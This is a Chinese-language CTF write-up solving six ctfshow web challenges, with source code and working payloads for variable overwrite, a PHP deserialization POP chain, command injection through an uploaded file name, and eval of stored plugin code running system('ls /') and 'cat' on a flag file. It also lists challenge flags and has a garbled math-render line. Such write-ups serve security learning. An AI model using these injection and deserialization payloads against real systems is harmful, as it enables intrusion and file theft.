Bootstrap

【刷题12】ctfshow刷题

来源:ctfshow

easyPytHon_P

考点:代码审计,源代码查看

打开后查看源码,发现一个源码地址,打开看看

image-20241109150901508

image-20241109150915342

可以知道在此目录下有个flag.txt文件,再观察源码

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

发现传入两个参数cmd和param,会截取cmd的前三个字符当成命令run,param被当成参数。

所以直接构造cat flag.txt

payload:

cmd=cat&param=flag.txt

image-20241109150800375

ctfshow{7d9cfcf5-9314-4eb0-9240-d77a6ca6f29d}

遍地飘零

考点:$ 值覆盖, 值覆盖, 值覆盖,_GET全局变量和本地变量

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

分析代码可知,get传参的参数名会传给key,将key的值传给变量value。

然后进行变量值覆盖,将key的值当作变量名,将value的值也当作变量名,且赋值前者为后者。

例如:传递参数 ?get=aa,则 k e y = g e t , key=get, key=get,value=$key=aa,

值覆盖时,KaTeX parse error: Can't use function '$' in math mode at position 5: key=$̲get,value=$aa

所以,目标是执行var_dump($flag)

构造payload:

?_GET=flag

传进去时, k e y = G E T , key=_GET, key=GET,value=flag,再进行值覆盖,就变成了

$_GET=$flag

从而实现目标,得到flag

ctfshow{2fe8eb61-9f07-4713-a7f2-311a3e4786d3}

茶歇区

考点:多次整数溢出

image-20241109160125845

先查看源码,找不到相关函数和score等计分的变量,所以不能通过控制台改代码了。

看到全是整数,想到整数溢出。先输入99999999999999999999

image-20241109160320364

9223372036854775807

999999999999999999

输入999999999999999999,不断重复,直到出现flag

image-20241109160421972

ctfshow{b31d09fc-4022-49ca-ad7d-ea533f98cdc2}

小舔田?

考点:序列化构造pop链

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}

进行代码审计,发现是个序列化题,有

__toString()和__wakeup()

构造一条pop链:

call() <- Ion_Fan_Princess:__toString() <- Moon:__wakeup()
<?php
class Moon{
    public $name;
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="小甜甜";
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

$a = new Moon();
$a->name = new Ion_Fan_Princess();
echo urlencode(serialize($a));
?>
//O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D

ctfshow{ab725e26-0530-4535-8cb5-517419dccb8b}

LSB探姬

考点:文件名中的命令执行

image-20241109165919952

    # !/usr/bin/env python
    # -*-coding:utf-8 -*-
    """
    # File       : app.py
    # Time       :2022/10/20 15:16
    # Author     :g4_simon
    # version    :python 3.9.7
    # Description:TSTEG-WEB
    # flag is in /app/flag.py
    """
    from flask import *
    import os
    #初始化全局变量
    app = Flask(__name__)
    @app.route('/', methods=['GET'])
    def index():    
        return render_template('upload.html')
    @app.route('/upload', methods=['GET', 'POST'])
    def upload_file():
        if request.method == 'POST':
            try:
                f = request.files['file']
                f.save('upload/'+f.filename)
                cmd="python3 tsteg.py upload/"+f.filename
                result=os.popen(cmd).read()
                data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
                return jsonify(data)
            except:
                data={"code":1,"message":"file upload error!"}
                return jsonify(data)
        else:
            return render_template('upload.html')
    @app.route('/source', methods=['GET'])
    def show_source():
        return render_template('source.html')
    if __name__ == '__main__':
        app.run(host='0.0.0.0',port=80,debug=False)
              

分析可知,执行cmd命令,所以进行命令执行漏洞利用,在filename后执行ls命令

image-20241109170048538

image-20241109170107042

看到有flag.py,执行命令cat flag.py

image-20241109170155275

ctfshow{343152ec-5bd1-467a-9f6c-33d7d8d3cfc8}

Is_Not_Obfuscate

考点:

打开后查看源码,发现端倪

image-20241109171950520

image-20241109172008208

先查看/robots.txt

image-20241109172038816

查看/lib.php?flag=1

image-20241109172117578

将这段复制到框中,再根据提示修改前端

image-20241109172202256

image-20241109172300276

然后得到一串代码

<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
} 

看到了个eval函数,所以可以先利用push,再用pull执行命令。

首先,构造payload:

?action=push&output=<?php eval(system("ls /"));?>

这个payload会经过file_put_contents()函数存储在目录下。然后用file_get_contents()函数在目录下读取。所以

input=md5($_GET['output'].'youyou')。
payload:
?action=pull&input=b4b23ad51ccba6f288833a4e25cb361b

image-20241109235359796

image-20241109235416731

看到有个f1agaaa的文件,用同样的方式进行读取.

payload:

?action=push&output=<?php eval(system("cat /f1agaaa"));?>
?action=pull&input=ba53a5488a5dfda0aff1bb1ee5fcfaa2

image-20241109235645962

ctfshow{876b2dd2-9785-4eb0-9a6d-7bf0a081bc5c}

;